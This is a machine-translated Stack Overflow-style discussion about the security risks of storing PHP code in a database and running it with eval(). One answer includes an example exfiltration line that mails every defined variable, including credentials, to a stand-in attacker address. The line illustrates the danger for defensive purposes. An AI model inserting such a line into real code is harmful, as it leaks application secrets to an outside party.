将PHP代码存储在数据库中并在运行时对其求值是否不安全?

将PHP代码存储在数据库中并在运行时对其求值是否不安全?,php,sql,database,security,eval,Php,Sql,Database,Security,Eval,我已经构建了一个程序,可以从SQLite数据库中存储、检索和eval()s代码 在我因为糟糕的编码实践而被吓到之前,让我们把这当作一种理论,并假装我有很好的理由这么做 撇开所有其他考虑因素不谈,假设用户输入不是一个因素,那么在数据库中存储PHP代码并使用eval()运行它是否存在固有的安全风险 澄清: 我不是eval()用户提交的内容 SQLite DB文件与我的其他文件位于同一目录中,并且应用了相同的安全性 请不要对性能、缓存等发表评论。我知道所有这些 eval()本身并不安全。这只是一种不

我已经构建了一个程序,可以从SQLite数据库中存储、检索和
eval()s
代码

在我因为糟糕的编码实践而被吓到之前,让我们把这当作一种理论,并假装我有很好的理由这么做

撇开所有其他考虑因素不谈,假设用户输入不是一个因素,那么在数据库中存储PHP代码并使用
eval()运行它是否存在固有的安全风险

澄清:

  • 我不是
    eval()
    用户提交的内容
  • SQLite DB文件与我的其他文件位于同一目录中,并且应用了相同的安全性
  • 请不要对性能、缓存等发表评论。我知道所有这些

eval()本身并不安全。这只是一种不好的做法,不清楚,会导致一大堆错误和安全相关问题。

是的。如果我可以将某些内容注入到您的数据库中,那么我就可以通过eval在您的服务器上执行它。

即使用户提交的数据没有存储在您的数据库中,您仍然提供了一种方法,可以执行存储在数据库中的代码,即使您没有将该代码放在数据库中。如果有人要访问您的数据库服务器,他们可能会做比通过修改数据库存储的代码来删除数据库更糟糕的事情,比如删除PHP脚本具有写入权限的任何文件。

您是否尝试将数据库用作函数的哈希表?因此,您可以根据一些关键评估调用一段代码。我在这里看到的安全问题是,数据库可能在某个地方暴露了其他API来填充它。如果您不知道/不明确地这样做,可能会在数据库中引入一些键、值对。如果改用函数的哈希表,则需要有人在代码存储库中进行提交以更改函数。因此,现在您需要像保护代码存储库一样保护数据库。

您可以让数据库以PHP作为任何用户运行它想要的任何PHP代码。当然,这是不安全的。

eval()
并非天生就不安全。但它只有在其计算的代码是安全的情况下才是安全的。因此,我们可以给出一个做了坏事的代码示例,假设代码以某种方式存储在数据库中,然后爆炸

存储在别处的代码不是项目的一部分,不是经过审查的代码,不是在git中跟踪的代码,也不是经过单元测试的代码。代码基本上不是从安全性的角度来评估的,因此无法保证安全性。换句话说,从质量保证的角度来看,这是一个弱质量计划,因为代码安全性是代码质量的一部分

任何能够访问您的数据库的人都可以修改代码,然后执行该代码,我假设不需要任何审查。代码没有访问限制;它可以在调用它的应用程序中引用甚至修改变量。所以问题是数据库中的代码是如何更改的?谁有权限?什么是代码审查过程?测试过程是什么

除了SQL注入可能会非法更改数据库中的PHP代码外,在用户可以对代码进行授权更改之前,您对用户使用的任何身份验证都具有安全性。我假设你的应用程序有一些界面,可以通过web界面更改数据库中的代码

你要求证据,我猜你想要一个代码的例子,如果对它进行评估,它可能会做坏事

如果我可以在数据库中存储类似以下代码的内容,并
eval()
该代码,我可以获得有关您的应用程序的大量信息。例如,您的数据库密码、身份验证方法、您使用的框架版本。。。各种各样的事情

mail('attacker@example.com', 'Mwa ha ha', print_r(get_defined_vars(), true));
还有类似的函数,如
get\u defined\u functions()
。甚至在
打开(\uu文件)
的情况下返回自己的源代码。攻击者可以快速了解代码中的其他可利用安全漏洞


PHP代码还可以通过各种方式获取有关服务器的信息,或者对服务器进行更改。将
eval()
与使用
exec()
的代码结合使用,您可以在服务器上运行任何命令。至少它是在http服务器运行的uid下运行的——我希望不是root。

谁能更改它?它是否以可以注入代码的方式进行解释?如何防止用户提交的代码作为“本机”脚本运行?总的来说,我感到不安,因为这是一种很少有人采用的方法,因此不知道它们可能会有什么风险。@Jared-正如我所说,没有使用用户提交的代码。数据库文件将具有与其他站点文件相同的安全性。如果没有,则可以。这似乎是一种缓慢的方法,它可能不安全,但无论如何,它是实现分派表的一种可怕的方式;请参阅:如果我不依赖用户提交的数据,您将如何注入任何内容?如果您不依赖用户提交的数据,那么eval的目的是什么?任何你能自己放入数据库的东西,你能自己放入php文件吗?(我想质疑eval的目的并不能直接解决它是否不安全……)确切地说,这就是为什么我要你们假装我有一个理由,我只是试图理解安全含义。如果你是唯一可以编辑被评估内容的人,那么安全含义与直接在php文件中编写代码非常相似。虽然某些东西是安全的,但并不意味着你应该使用它。(eval是一个非常可怕的函数,在我看来有非常非常非常非常非常非常非常非常非常非常非常非常非常非常少的合法用途)谢谢,但我正在寻找证据而不是意见。你能用一些具体的例子来详细说明bug和安全问题吗?它也值得一提